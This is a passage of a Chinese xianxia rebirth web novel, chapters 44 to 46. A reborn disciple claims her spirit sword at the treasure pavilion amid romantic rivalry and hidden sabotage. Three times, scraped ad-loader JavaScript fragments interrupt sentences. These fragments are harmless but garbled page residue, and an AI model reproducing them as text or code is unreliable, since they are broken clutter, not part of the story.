叶清漪也起身收拾东西。 “东西先放在问道堂,只身前去认领法器即可。”泽成补充道。 顾长风没有多说什么,低下头准备出去,转身的瞬间又特意抬头看了眼叶清漪。 这下连后面的夏侯静仪都看到了,凑到叶清漪边上:“大师兄这是怎么了?怎么那么奇怪?” 叶清漪将书本整理得地啪啪的,一边视线追随着走廊上的顾长风,语气不冷不热:“谁知道呢?” 就在刚才,她忽然想起来前世同时期是哪两个人过来的了,泽成肯定是一个,但另一位不是顾长风,而是一位叶清漪未曾见过的师兄,那时她日夜都在努力背心法,上课时心思也不时会游走,反复琢磨某一段不理解的心法,她背心法有个习惯,一定要完全理解其中的意思才能背的下来,死记硬背根本记不下来,就算暂时记住了,也很容易忘记或者和其他心法记串。 那时泽成来带他们去藏宝阁,叶清漪只是抬头看了一眼,发现来的人没什么特别,就没在意,那时她已经对顾长风有所耳闻了,如果来的是顾长风,弟子们的反应肯定会像今日这样,但她记得前世大家都没什么反应,可以肯定前世顾长风并没和泽成一起。 那他这一世又为何忽然要跟另一位师兄调换,还没事总盯着她?明明她现在还没考成第一啊!对他大师兄的形象也没半分助益吧!回想二人最近一次见面,还是之前在昭明殿外,叶清漪语重心长地拍着他肩膀,说她很欣慰,自己也将话说清楚了啊!顾长风又不是那么不计得失的人,难不成他又有新的打算,换个方式利用她了? 叶清漪意识到问题的严重性,顿时更加戒备,走出去的时候特意排在队伍后面,尽量避开顾长风,前世她总是排在队伍最前面,刚好和时常领队的顾长风面对面,没事就得他“特殊照拂”一二,惹得其他人对自己嫉恨更甚,她的日子也越发艰难。 “大家都排好了,男女分开排列,两人一组。”泽成在前面手忙脚乱地指挥着。 叶清漪在队伍里抬头望去,顾长风黑着一张脸在边上,一言不发,也不帮泽成分忧,而是遥遥看着叶清漪。 叶清漪忍不住微微歪了下头,以示询问。 顾长风没有表示,一边转身和泽成说着什么,一边比划着什么。 叶清漪看得云里雾里,纳闷不已。 这时一旁的一位师弟转头跟她打招呼,叶清漪认出是清泽,不由和他攀谈一二。 “恭喜你啊,得了甲等优良。”清泽诚恳地说。 “还未谢过你的笔记。”虽然叶清漪根本没用上,“回头我把笔记带上,还你吧!” “不必了,你留着便好。”清泽语气有点迫切。 见叶清漪没表态,他又补充道:“反正如今也考好了,我也用不着,你就留着,做个纪念……噢,若是不方便的话,丢了也是可以的,不妨事。” “那怎么行,你辛辛苦苦做的笔记,你留着之后新弟子上山了,还可以留给他们呢!不过你笔记做得真不错,很用心,也很整洁。” 见叶清漪执意要还给他,清泽这才不再推辞:“还 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 好吧!叶师妹你觉得有用就好。” “对了,我记得你这次考的不错,好像是甲等优下?” 清泽挠了挠头:“还算可以,虽然没什么本领,好在记性还不错。” 二人聊得挺好的,叶清漪忽然听到前方泽成喊道:“既然大家有些混乱,我看不如就按考核等级来排吧!” 泽成说着拿出一个单子,正是这批弟子的花名册:“我叫到名字的先到前面来。” “我不同意。”凌雪瑶抗议道,“凭什么!” 其他排在后面的同学也纷纷附和。 “就是啊,凭什么!” “对啊!凭什么让他们先啊!” “法器会自行找到合适的主人,跟先后顺序无关,按等级来只是为了方便行事。大家尽快排好队,前往藏宝阁。”泽成不由分说开始报名字,“唐旖柔,颜祈萱,清泽,叶清漪,松泉……倚林,穆月,卫瑜……” 人群沉默片刻,陆续有人上前按名字排队,由于他们是从左往右依次排列,一排五人,叶清漪又成了第一排,正好对着顾长风清泽刚好在她左侧,排好队后清泽又冲她笑笑,打了招呼。 这时顾长风忽然开始剧烈咳嗽,泽成看他这般,又看了看叶清漪和清泽,连忙道:“那个……为了节省时间,排好一排就先跟着大师兄去藏宝阁罢!剩下的迅速排好,会有传音兽来带路。” 说完跟顾长风打过招呼,又继续手忙脚乱指挥后面的人排队。 唐旖柔、清泽、叶清漪以及另外两位师弟师妹便跟着顾长风前往藏宝阁。 走着走着不时会看到顾长风放出一只金黄色的小虫,在空中盘旋了一会儿,便飞往问道堂的方向——正是泽成说的传音兽。 那位叫颜祈萱的师妹忍不住跟唐旖柔议论:“既然都有传音兽,还如此大费周章让大师兄带路干嘛?” 唐旖柔闻言并未作答,只是默默看向走在最前方的顾长风。 颜祈萱见自讨没趣,不满地睨了唐旖柔一眼,不说话了。 但叶清漪知道为何——传音兽出发前受主人命令飞往目标对象,为其引路,最后再循着气息飞回主人手里。也就是说,顾长风之后在哪儿,传音兽就会飞到哪儿,这才是顾长风要带头到达藏宝阁的原因,他将在藏宝阁收回所有传音兽。 清泽看得明白,简单介绍了传音兽的天性和驾驭之法,和叶清漪知道的差不多。 “这便是御兽时要掌握的最基本的要领,兽随其主。”清泽最后说道。 “师兄,你好厉害啊!”松泉语气里满是崇拜。 “我也是在修仙入门的书籍里看到过关于御兽的介绍。”清泽谦逊道。 “没想到你还挺了解的。”颜祈萱不冷不热地说了句。 前方的顾长风闻言微微侧首,没有说话,稍后又转了回去。 但叶清漪总觉得他的背影都透着一股怒气。 这顾长风到底生的哪门子闷气啊? 44. 第四十四章 藏宝阁离问道堂不远,就在明镜台边上。 还没走到藏宝阁,远远在宝阁前的台阶下方,叶清漪就已经感应到青锋剑的所在了。 她不由得心绪猛然波动,眼角忍不住湿润了几分。 “这便是藏宝阁了吧!真气派。”松泉激动不已。 叶清漪努力平复着心情,尽量不让人看出端倪。 “藏宝阁可不止外面看着气派,里面更是炫目,阁中网罗了无数奇珍异宝,仙门神兵榜前十有八样都在阁内,”清泽道,“不过有几样已经被认领走了,如今阁中只剩第五青锋剑和第六墨羽剑,还有第八的飞星剑。” 叶清漪没记错的话,唐旖柔拿到的佩剑便是飞星剑,以及后来凌雪瑶的霜华剑也进了前十,位于原本第九的幻梦笔之前,第十的如水镜则跌出了前十名。 松泉紧接着道:“我也曾有所耳闻,掌门所持的紫霄剑就位列神兵榜第三名。” 颜祈萱又问:“那前两名是什么啊!” “神兵之首苍穹之刃,还有位列第二的龙吟凤舞双剑。”一直沉默的唐旖柔终于开口。 颜祈萱:“那这两样不在阁内吗?这么厉害的神兵,到底是被哪两位前辈领走的啊?” 唐旖柔未及作答,走在前面的顾长风接过话头,说起一桩百年前的旧事。 “神兵之首和神兵第二的主人分别是师祖云徵,以及师叔祖云湘,百年前他师兄妹二人合力将魔主赤焱击杀于幽冥山,可谓是旷世一战,也为我们换来这许多年的安定。当时师祖便是用苍穹之刃给了赤焱致命一击,云湘师叔祖一手双剑超凡绝尘,仙门之中少有敌手,和师祖配合默契,他们二人联手,和赤焱殊死一战,最终险胜。 “不过师祖已飞升多年,云湘师叔祖也早已羽化,二人终是天人永隔,再难相见。云徵师祖为了祭奠师叔祖,便将苍穹之刃留下,和师叔祖的双剑为伴,也算代替他们守望彼此,是以这两样神兵是不会让弟子们进行感应的。不在阁内的则是位于第七的混元剑以及位于第九的幻梦笔。混元剑在曲阜的归元道长手中,幻梦笔不知下落,据传在都城万安,有说在云华长公主手里,也有说在一个名不见经传的符修手中,但没人见过神笔的真正模样。” 听完这些,几个弟子难得陷入了沉默,顾长风倒不以为意,又补充道:“这些你们所学的书籍里都未曾记载,你们不知道也很正常。看!我们到了。” 说话间他们已来至藏宝阁门口。 松泉看着顾长风的佩剑,忽然意识到什么:“大师兄你的碧云剑便是神兵第四吧!” 顾长风颔首。 “好厉害啊!”颜祈萱语气里满是艳羡,“不知道我们能不能也从前十神兵中获取到自己的法器?” 顾长风鼓励道:“自然可以。” 又道,“我们先在这里等候,等人齐了再进入阁内认领法器,现下还早,你们可以自行活动一下。” 几个人便各自散开,兴奋地继续讨论着刚才的话题。 唐旖柔则走到一旁,可以看到藏宝阁前的众人,也能看到他们来时的方向,多半是在等凌雪瑶。 叶清漪正想着,转头看到对面的顾长风正定定地看着她,一副欲言又止的样子,见叶清漪看过去,顾长风便干脆向前两步,想过来找叶清漪。 一旁的清泽也想过来找叶清漪,但是被松泉叫住了,便过去跟他们一起了。 见顾长风走上前来,叶清漪问:“有什么事吗?” 顾长风蹙眉:“师妹你就这么不愿和我说话吗?” 叶清漪视线望向远处,一束束天光自云层间隙漏下,宛如投下一道道毁天灭地的天罚。当初仙门弟子杀至魔界幽冥山,投下的剑气也跟这些天光一样,云仞山带队出战之人便是顾长风。 看着顾长风不得其解的样子,叶清漪垂下眼眸,鸦羽在眼底投下一小片阴影,转身踱了两步,轻轻开口:“当年云仞和魔主赤焱之战,云徵二人虽然合力将赤焱封印,但也只是险胜,云湘师叔祖更是因为替云徵师祖挡了赤焱的杀招,自此筋脉尽毁,不足半载后便羽化辞世了,云徵师祖断了对尘世的眷恋,不久后也飞升而去,将云仞山留给了还是束发年纪的云宸掌门。你认为这样做真的值得吗?” 顾长风没料想叶清漪会忽然谈起此事,思索片刻,问:“先祖们的事,你我小辈怎好随意评判!你是如何得知这些的?你进山也不过堪堪一年,居然知道如此秘辛!” 叶清漪将身子转向另一边,没有回答。 顾长风打量着她的神色,自说自话道:“也是,师妹如此刻苦,藏经阁的书肯定都读遍了,知道这些也不稀奇。” 叶清漪依旧不言,远眺前方,藏宝阁位于云仞最高峰,从他们的位置向下望,前山的风景尽数收入眼底,昭明殿掩映在层层密林之中,只露出玄色琉璃瓦的一角,凌云广场也只呈现方寸大小,弟子们正在广场操练,看上去也只如虫蚁般大小,人们在这茫茫天地间显得那么渺小,仙门与魔界斗了这许多年,可天地依旧是这副模样,他们能做的其实很有限。可人在这世间又留下了许多辉煌,创造了很多奇迹。 人力虽薄,也能翻天覆地。 但不是所有人都这么想的,这便是她和顾长风的区别。 顾长风见她半天不说话,又问她到底怎么了? 叶清漪叹了口气,不再勉强:“没什么,我不过有些感慨,师兄不必放在心上。” 顾长风并不知道叶清漪那些沉重的心思,只是发现叶清漪对自己的态度似乎不再那么防备,言语也没有那么尖锐了,甚至可以平心静气地和他并肩而立,他就已经很开心了。 顾长风眼睛亮了亮,看向叶清漪,见对方只望着下方重峦叠嶂,思绪似乎飘向了某个他无法窥见的地方。 但此刻他能拥有和她安然相处的片刻,他已经感到很满足了,虽然他仍不明白叶清漪之前为何对他那般态度,但他觉得无妨,原因也并不重 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 要,如今二人的关系已经有所缓和,照这样下去,他相信,总有一日他和叶清漪的关系会变得亲密无间。 如此想着,顾长风脑海中已经浮现出和叶清漪嬉笑打闹,恰巧连喜路过,叶清漪鼻子不是鼻子眼不是眼地冲连喜哼了一声,将连喜气走的画面…… 顾长风兀自沾沾自喜,叶清漪在旁独自释怀,唐旖柔在身后神色莫辩地看着他们,不知在想什么。 凌雪瑶远远在山道上就看到他们二人并肩站在藏宝阁前休息,有说有笑,看起来还很亲密的样子,气得加快脚步,铆足了劲一路冲了上去。 陆续有几只传音兽飞了回来,想必其他人也到了,叶清漪转身走过去两步查看情况,恰好也与顾长风拉开了一点距离。 她并未在意这点,只是眺望着下方的山道,弟子们排成长队浩浩荡荡地上来了。看着其中一个身影,叶清漪总觉得有些熟悉,可她在这批男弟子之中并没有什么熟识之人,可能一时花眼了。 这时凌雪瑶提着裙摆气冲冲地率先上来,身后传来泽成遥远的呼唤:“诶?凌师妹,你走那么快干嘛?” 凌雪瑶并不搭理,一上来就冲叶清漪喊:“叶清漪,你也配和大师兄站在一起!” 这话引得藏经阁前众人都看向她,离得最近的唐旖柔上前一步,将正在往前冲的凌雪瑶一把拉了过去。 凌雪瑶刚想发作,看到是唐旖柔后,又缓了语气,略低了声抱怨道:“唐师姐,你拉我干嘛?” 唐旖柔远远看向叶清漪他们,没什么表情:“你还没明白吗?你不是她的对手,这样上去只会将自己置于难堪的境地。” 凌雪瑶想了想,似乎的确如此,看了看站在叶清漪边上的顾长风,略带不满地向唐旖柔抱怨:“大师兄也真是的,那个叶清漪有什么好,他都不曾这样待过你我,你家还跟他家是世交呢!他看到你不也是很冷淡。” 唐旖柔脸色有些难看,眼神躲闪两下,没什么底气地为顾长风分辨:“没有的事,师兄对每个人都一视同仁,仙门之中本就不论俗家身份,他避嫌也能理解,他毕竟是大师兄,一言一行都被人盯着,不能随心所欲。” 凌雪瑶翻了个白眼:“这话你自己信吗?他怎么不跟叶清漪避嫌!” 唐旖柔没有再回复,只是远远看着叶清漪,眼中的神色慢慢冷了下去。 叶清漪并不知道这些,从她的角度看起来,凌雪瑶气势汹汹地向她冲来,又被唐旖柔一把拉了回去,二人不知道再说些什么,不过从她们的神情也能猜出个大概。 这时裴佩从山道入口走上来,狠狠瞪了凌雪瑶一眼:“我们家清漪优秀,受欢迎很奇怪吗?好好反思下自己吧!” “你!”凌雪瑶气得要冲上去。 唐旖柔一把按住她,默默朝她摇了摇头。 凌雪瑶低头略有所思,没有再上前,只是不服气地瞪了裴佩一眼。 裴佩不甘示弱地哼了一声,也被夏侯静仪拉走了。 45. 第四十五章 叶清漪看着没由来地窝火,前世她也经常因为顾长风被针对,但那时候她还是考核第一,顾长风对她嘘寒问暖也就算了,怎么这次她特意少考了不少分,对顾长风态度也恶劣成这样了,可一切似乎还在按前世的方向走,难道一切还会回到之前的样子吗? 叶清漪想的太入神,没留意顾长风已经走到她身边,低头查看她的情况。 “叶师妹?”顾长风冷不防叫了她一声,叶清漪一转头,正对上顾长风近在咫尺的脸,吓得她一个后仰,踩到了脚下石坪的边缘,眼看就要摔下去。 顾长风眼疾手快,连忙一把拉住她,另一手有力地揽着她的腰,这才将她拉了进来。 围观弟子纷纷发出暧昧的低呼。 一旁的凌雪瑶气得牙都快咬碎了,一旁的唐旖柔也是神色复杂。 裴佩则是惊讶地张大了嘴巴,像是发现了不得了的事情。 另外两位默默交换了眼神,一副早已洞察的高深模样。 事情发生得太快,叶清漪还没反应过来,只愣愣地看着顾长风。 顾长风扶她站定后,又确认她站得离石坪边缘足够远了,这才慢慢松开手,关切询问:“你没事吧!” 叶清漪还没缓过来,她还在回忆前世这时候她有不小心差点掉下去吗?又是否有过被顾长风救下的经历。思索片刻她可以笃定没有,当初顾长风就没像这辈子这样凑到她面前来过! 看着周围人的反应,再看凌雪瑶气愤不已的模样,叶清漪越发困惑:明明是不一样的行为,为何会导致相似的结果? 到底哪里不对劲? 难道命运真的无法轻易改变吗? “清漪?清漪……”顾长风见她不答,又唤了两声,还伸手在她面前晃了晃。 叶清漪怔怔抬头:“你刚才叫我什么?” 顾长风这才意识到什么,慌忙改口:“我一时情急,失言了,若是冒犯了叶师妹,还请叶师妹见谅。” 当初顾长风也是慢慢开始喜欢喊她的名字,叶清漪虽然觉得有些突然,但也没有制止过,那时候,顾长风在她眼里,只是一个很优秀的师兄,是全仙门交口称赞的所在,也是师妹们集体怀春的对象。 她那时还不知道顾长风为何会总出现在她身边,还似乎对她很特别,还知道她何时练功,何时去借书,成绩如何,性格孤僻,和其他人关系如何之类的,好像特意了解过她,那时她和同门的关系算不上很好,加上她的资质独特,自然而然就被其他人排除在外了,叶清漪也就干脆独来独往了。 原本她已经习惯了这样的生活,可顾长风总能在各处和她偶遇,有时还会特意来找她,叶清漪见他似乎是真的像和她交好,便慢慢和他熟络起来。 只是到后来,叶清漪发现顾长风对其他师妹也是照顾有加,还亲耳听到他对一位师妹说的话,和当年接近她时说的一模一样。那时候叶清漪才明白过来,可顾长风后来还是和从前一样待她,叶清漪那时还对他抱有期待,又念及二人之前的情谊,便没有拆穿。可后来在一些关键的时候,顾长风总是不能给出一个明确的态度。 在她需要他支持的时候,他也屡屡退缩,直到叶清漪被魔气侵体,当着几位长老的面,顾长风连求情的话都不敢说,那一刻叶清漪才明白,自己一直以来有多天真! 她以为自己很清醒,能够及时抽身,不在意任何人,但其实,她一直都对顾长风抱有虚妄的期待,这份期待终于在她入魔之后彻底破灭了。 离开仙门前,她听到顾长风说的最多的,便是:“清漪,你别怪我!” 后来绝情崖上,他们兵戎相见,他也是说:“清漪,别怪我……” 叶清漪很想问顾长风,到底想让她别怪他什么。是别怪他明哲保身,无法舍弃拥有的一切,为她众叛亲离?还是别怪他一开始蓄意接近,和她纠缠多年?还是那些个让她一次次希望落空的时刻?还是他再无法兑现曾经信誓旦旦说过的誓言? 看着眼前的顾长风,叶清漪有些恍惚,这一世她还要重蹈覆辙吗? 叶清漪愣神的间隙,忽然一只胳膊搭上她的肩膀,将她往另一侧拉了几分。 “刚才好险,叶师妹你没事吧!” 叶清漪转头,正对上一双狡黠的眼。 “还好大师兄你反应快,要不我只能御剑下去救叶师妹了,我真是托大师兄的福,省了点灵力!” 连喜笑得人畜无害。 顾长风也不甘示弱,将叶清漪往他面前拉。 “照顾叶师妹是应该的,跟师弟你没多大关系吧!” 连喜又一把拉回去:“怎么没关系呢!” ………… 二人一来一回,不分上下。 叶清漪被一左一右扯着,终于忍无可忍:“好了好了!别回头我没摔下去,给你们弄得浑身散架了。” 连喜和顾长风这才不情不愿地松了手。 裴佩和夏侯静仪这才连忙上前,将叶清漪接过去,回首对两位师兄点头示意:“有劳二位师兄了!” 此后,关于连喜和顾长风为了叶清漪大打出手的谣言,连夜传出了四五个版本。 叶清漪明白了,原来那会儿她看到的人的确是连喜,只是前世连喜并没有来藏宝阁啊! “师弟如今怎么也爱往前山凑,你之前不是对仙徒们的事情并不上心吗?”顾长风言语间颇为不满。 “我刚好没什么事,听说今日新弟子们要挑选法器,就过来看看,怎么,长老规定了不让其他弟子来吗?”连喜笑容灿烂,语气诚恳。 泽成眼看气氛有些不对,连忙打岔:“好了好了,都是自家师兄弟,万不可伤了和气,多一个人帮忙也好,既然人都到齐了,就尽快开始选法器吧!” 传音兽尽数收回,仙徒们也到得差不多了,顾长风和连喜也不再做无谓的争执,各自退至一旁。 泽成走到中间,面向众人:“大家先散开四周,将藏宝阁前的地方空出来,稍后每个弟子会依次上前,和阁中的法器互相感应,适合的法器受到感召自会隔空飞出,弟子们拿住法器,将自身的灵力和法器的仙力连为一体,便完成了法器认主的环节。” “听起来好复杂啊!”弟子们抑制不住兴奋地讨论起来,也有人没听懂规则。 “等下操作起来就明白了,”泽成贴心地解释道,又拿出之前那本名册,“下面请报到名字的师弟师妹上前,安静等着即可。” 泽成说完开始依次念名字。 “唐旖柔。” 唐旖柔应声出列。 “唐师妹请站到中间来。”泽成让出位置,示意唐旖柔站过去。 随着流程正式开展,弟子们也不再嬉闹,密切关注场上的一举一动,看前面的人是如何召唤法器的。 作为第一个出场,唐旖柔站上前后长长呼出一口气,调整心绪,看得出她也有些紧张。 除了连喜和和另外两位师兄,全场大概只有叶清漪最放松了。 “师妹莫要紧张,只需稳住心神,摒弃杂念,尽力与阁中法器感应即可。”泽成在旁引导。 唐旖柔点点头,调整了气息,凝神看向眼前紧闭的阁门。 须臾,阁内紫光大盛,一柄长约三尺,剑柄紫金交缠,剑刃锋利,如有星芒,正是神兵榜第八的飞星剑。 神兵前十如今只剩下排第五的青锋剑还没有主人了,也就意味着,唐旖柔以微乎其微的概率成为门中第五位拥有顶级神兵的人。 “快看,是飞星剑!” 飞星剑一出,弟子们瞬间沸腾了,唐旖柔也是一脸震惊,她直直站在那里,整个人都愣住了。 “唐师妹,快接法器啊!”泽成也很替唐旖柔高兴,连忙提醒她。 唐旖柔这才反应过来,试探地伸出手,停在半空的飞星剑便直直飞入唐旖柔的手中。 唐旖柔一把将飞星剑握在手里,剑身的灵力便以肉眼可见的模样,涌向唐旖柔的手臂,唐旖柔周身也笼着一层淡紫色的术光。 很快,唐旖柔的周身和剑身的光芒都相继熄灭,至此法器便完成了认主。 “恭喜师妹喜得法器,如今飞星剑已经认主,此后只会认师妹一人为主,任你驱使,随着师妹修为的精进,最终会达到人剑合一的境界,倒是只需师妹起心动念,灵剑便会按师妹的心意行动的。” 唐旖柔还没从大起大落的情绪中缓过来,有些茫然地点了点头。 泽成又提醒道:“师妹暂且退至一旁。” 唐旖柔这才拿着飞星剑退下。 一旁的凌雪瑶已经像自己得了飞星剑一般高兴,高声欢呼起来,末了还得意般地睨了叶清漪一眼。 叶清漪闲闲站着,看着眼前重演的一切,半倚着一侧的栏杆,不为所动。 之后颜祈萱和清泽也如依次上前,各自领了的法器退下。 颜祈萱领了明心剑,清泽领了天罡剑,虽然也是上等灵剑,但二人都没拿到剩下的特级神兵,难免有些失落。 之后,便到叶清漪上场了。 “叶清漪你尽管去罢,反正你再怎么也不可能有唐师姐厉害,十大神兵还剩两个,第二第三名都没拿到,你肯定也拿不到,说到底还是我唐师姐最厉害。”叶清漪路过时,凌雪瑶又没头没脑地说了一通。 叶清漪并不搭理她,只想尽快取得青锋剑。 可当她站在藏宝阁前,凝神定念,却迟迟没有感应到青锋剑,甚至,她连任何一样神兵都没召唤出来。 弟子们又开始议论纷纷,几个师兄也很是诧异,凌雪瑶和唐旖柔也都很不解,不过凌雪瑶还是没错过任何间隙挤兑叶清漪。 “唉,某人这 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 是怎么了,怎么一把神兵也召唤不出来,莫不是要成为仙门的笑话了!” “闭嘴!”叶清漪大喝一声。 凌雪瑶被叶清漪的气势吓到,瞬间不敢说话了,连带着其他人也都被震慑,下意识噤声了。 叶清漪一再尝试,还是没能成功,她感到自己的灵力受阻,和青锋剑之间的连接也被强行切断了。 有人在背后捣鬼! 重生到如今,的确和前世有很大不同,在暗处作祟的人也比前世更猖狂,其他叶清漪都能容忍,唯这青锋剑! 一如泽成此前所言,神兵与其主血脉相连,灵剑便是修道之人另一条性命,没有法器的修士,便算不得真正的修士。前世到了后来,叶清漪早已与青锋剑融为一体,不仅能做到剑随心动,还能将剑化为气收入体内,用时再以真气化之。即便她后来变成魔修,青锋剑都不曾背弃过她。 她和青锋剑的感情,甚至已经超过了她和云宸的师徒之情。 她决不允许任何人为了自己那些龌龊的凡思俗念,在青锋剑上做手脚。 叶清漪动了真怒,灵气不受控制,形成实体的气流在周身涌动,掀起她的衣袂和长发。 凌雪瑶唐旖柔和泽成他们无比惊讶。 泽成不敢置信地退后几步:“这……这样的灵力,只有几大长老才有,而且也不是时时都能做到如此的!叶师妹的修为竟已到了这种程度!” 顾长风也神色惊恐。 叶清漪已经不在意无关人等的反应,她本就早已开蒙,去年冬日就已经达到筑基,如今已是大成炼气期,修的便是随心所欲运用真气。顾长风和个别几个师兄应该已经突破炼气,只是并不是所有人都能修出化气为形这一步。 化气为形,是为外修;运气周天,提升修为,是为内修。 前世叶清漪也是在突破结丹进入悟道后不久,才突破炼气期外修这部分的瓶颈。但这次她得益于此前偶然得到的那本心法书,让她在炼气期内修和外修几乎是齐头并进的。 这也让她的功力突飞猛进,如今虽然和前世进度相差无几,但根基深厚,比前世内里空虚、流于表面的修为更扎实。 前世她也因此得了不少教训,一味追求速度,忘了稳扎稳打,后期一直难突破瓶颈,也有根基不稳的原因。 可这一世,她能明显感觉到体内真气浑厚,操控真气时也比前世更从容。 是以她合该能轻而易举召唤出青锋剑。 叶清漪在藏宝阁前回转身,冲暗处大喊:“哪来的鼠辈!只敢在背后动手脚!有本事出来一战!” 对方极大可能是门中之人,叶清漪仗着可以装作不知情,当着众人的面破口大骂。 骂了两句还是不解气。 叶清漪索性一提真气,飞身而起,直直飞至藏宝阁前万丈山崖的上空。 在场之人全都惊呆了! 顾长风直接看傻眼,早知道叶清漪这么厉害,刚才他还救个什么劲啊! 飞至半空后,视野开阔多了,叶清漪又骂骂咧咧几句,瞧着那人是铁了心要当缩头乌龟,叶清漪也不再浪费力气,调整好气息,继续用灵力和暗处抗衡。 这一次,她明显感觉到青锋剑的所在,他们之间的那道隔阂似乎弱了不少。 仔细感应过后,她发现,除了作怪的那道,暗处还有一道灵力,似乎是在和那道灵力抗衡,让青锋剑能够解除压制。 可即便如此,青锋剑还是没能顺利出来。 三道灵力同时加注其上,再这样下去,青锋剑会被毁了的。 叶清漪心急不已,只好大喊“青锋剑”三字,虽然她现在还没跟灵剑相认,但青锋剑能够识别出何人是它命定之主,强行召唤或可一试。 不曾想还是没半点动静。 凌雪瑶虽然被叶清漪如今的修为吓到,但她对叶清漪到底到何种境界并无概念,听到叶清漪这么喊,不免又嘲讽开了:“别痴心妄想了,你连寻常法器都召唤不出来,还想拿青锋剑!简直是笑话!” 青锋剑的气息越发强了,叶清漪看到了希望,又提高声调大喝一声:“青!锋!剑!” 喝罢猛然睁开双眼,眼中金光大盛,周身真气剧烈涌动,衣袂翻飞。 凌雪瑶鄙夷的笑还没展开,只听一声清越的出鞘声,众人抬头,一把长剑破空而出,直直朝着叶清漪的方向飞去。周身包裹着金光,金光一头连着灵剑,一头则连着叶清漪周身的真气。 剑柄呈清亮的青色,剑身修长,走势干脆利落,剑锋寒光一闪,让人心生畏惧。 长剑挣脱束缚,朝着天际飞去,带着几分倔强和果决,剑如其人,灵剑随主,自古如此。 叶清漪单手接剑,熟练地挽了个剑花,爱惜地抚过剑身,眼中隐隐有热泪涌动。 久违了!青锋剑。 46. 第四十六章 叶清漪手持青锋剑,与下方众人面面相觑片刻,头也不回地冲向另一侧。 藏宝阁位于云仞最南端,宝阁之后没有屋舍,只有无尽的云海,适才那股抵抗之力是从西北方向传来的,西北方向有问道堂,明镜台,还有弟子寝舍,再往后,是位于后山的四大长老的居所,能够牵制神兵应召,这般修为,约莫也只有如四大长老这般甚至更高修为者才能做到了。 至于暗中相助的力量,则是位于宝阁东北方,思过堂,沧云殿,还有云宸的流云殿则是位于这个方向。难不成是云宸在暗中帮她? 可她如今还不是云宸弟子,再者,云宸又怎么会知道有人要在叶清漪认领法器时动手脚呢! 叶清漪如今真气还不够丰沛,只够飞至弟子寝舍上空,不过她飞身靠近时,那股法力已经不见了,想是那人收回了灵力,对方灵力明显在她之上,她就算过去了也找不出什么。 至于相助的那股力量,如今她也没能力再飞过去了,体内剩余的真气只够支撑她飞回藏宝阁的,而且如今她还没资格进入后山,自然也没法飞进后山上空。是以不管是长老起居处,还是云宸寝殿,她都没法过去。 叶清漪在半空停留片刻,转身又原路飞回了。 原本她是想在最后的内门弟子晋级考核才显露实力的,如今既已暴露,也是无妨。 叶清漪落在藏宝阁前时,收获了不少神情各异的反应。 顾长风最先迎上来:“师妹,你没事吧!可曾受伤?方才到底怎么了?你是强行召唤法器了吗?” 叶清漪打量手中的青锋剑,灵剑认主之后,会自行生出剑鞘,应战时剑鞘则会自行消失,若是感应到剑主有危险,剑身也会颤抖,发出警示。 此时叶清漪手中的青锋剑已经生出了剑鞘,可唐旖柔的飞星剑还没有生出。 唐旖柔不解地看向手中的佩剑,叶清漪迟疑片刻,还是打算不多管闲事了。 “没什么,只是出了点小问题。”叶清漪没有过多解释。 凌雪瑶上前一步,指着叶清漪:“姓叶的,你还真是心机深沉啊!居然隐藏实力至今,我们所有人都被你骗过了!” 叶清漪投过去一个不耐烦的眼神,凌雪瑶悻悻地闭了嘴,退至唐旖柔身边,眼神警惕。 泽成走上前:“是啊,既然叶师妹修为已精进至此,考核时不该只是个优良啊!” 叶清漪知道,几个修为高的已经看出她如今的实力远超唐旖柔一大截。 叶清漪依旧没解释,只道:“我也不清楚,只是方才感召之时,体内忽然涌起一股强劲的灵力,不仅是灵剑感应到了剑主,我也感应到了匹配的灵剑,是以才会喊出灵剑名号,助它破除桎梏。” 泽成听了将信将疑。 顾长风思索片刻,抬眼定定看向叶清漪,似乎明白了什么:“想来灵剑在阁内法阵中禁锢太久,感召时出了变故也是有的。” 叶清漪闻言猛然望向顾长风,眉头微蹙。 顾长风眼神也没有避开,而是定定回望着叶清漪。 身后的泽成默默看向一旁的凌雪瑶和连喜二人,强忍笑意,皱着眉试图让自己看起来严肃一些,他咳了咳:“既然没什么大事,那就赶紧继续吧!领到法器的可在此稍待片刻,大师兄会告知你们初次使用神兵的一些注意事项。大师兄?” 顾长风这才收回视线,转身面对泽成。 “该你跟师弟师妹们讲解了。” 顾长风微微颔首示意,可神情还是带着几分忧虑,他转过身,叶清漪已经走向下山的云阶了,连喜不由分说,也跟着离开了。 泽成连忙打圆场:“对,领完法器没什么疑问的也可以自行离去。关于神兵的使用,日后执明长老自会一点点教给大家的。” 剩下的弟子便继续按照顺序认领法器,前十神兵已经被领得差不多了,剩下的人修为还远远不够,只能领一些和自身法力相匹配的法器,也没有什么悬念,就这么一路平稳地进行下去了。 一直看着叶清漪的身影消失在云阶之下,顾长风才收回视线,努力调整心绪,跟唐旖柔他们讲解如何跟法器感应,如何用心念让灵剑化出剑鞘,可连像素日那般勉强应付都做不到,第一次在几个师弟妹显得心不在焉。 唐旖柔已经从方才的情绪中抽离出来,举止得体地将佩剑交到顾长风手上,依旧没什么表情,但目光比素日柔和了不少。 凌雪瑶也在一旁期待地等着。 可顾长风只是拿着唐旖柔的飞星剑,沉默地望着一旁出神。 “大师兄?大师兄?”凌雪瑶替唐旖柔喊了两声。 顾长风这才如梦初醒。 唐旖柔以为他要开始讲解,不料顾长风转头喊来泽成,将飞星剑交到泽成手中:“我有些紧急的事情要处理,你替我跟他们讲解一下。” 言罢不由分说地召出碧落剑,直接御剑飞下藏宝阁。 “这顾长风,什么时候这么莽撞了?”泽成随口埋怨了句。 唐旖柔的脸色难看极了。 凌雪瑶想说点什么宽慰她,可觑着唐旖柔的神情,她也不敢多言。 泽成对此毫无所觉,刚准备跟唐旖柔讲解,唐旖柔直接劈手夺过飞星剑,泽成和一旁几人都神色大变,暗暗交换了眼神,不敢贸然开口。 “这……师妹……你这拿的……”泽成欲言又止。 唐旖柔直接握住了剑刃,鲜血沿着剑身而下,一滴滴落入脚下的碎石之上。 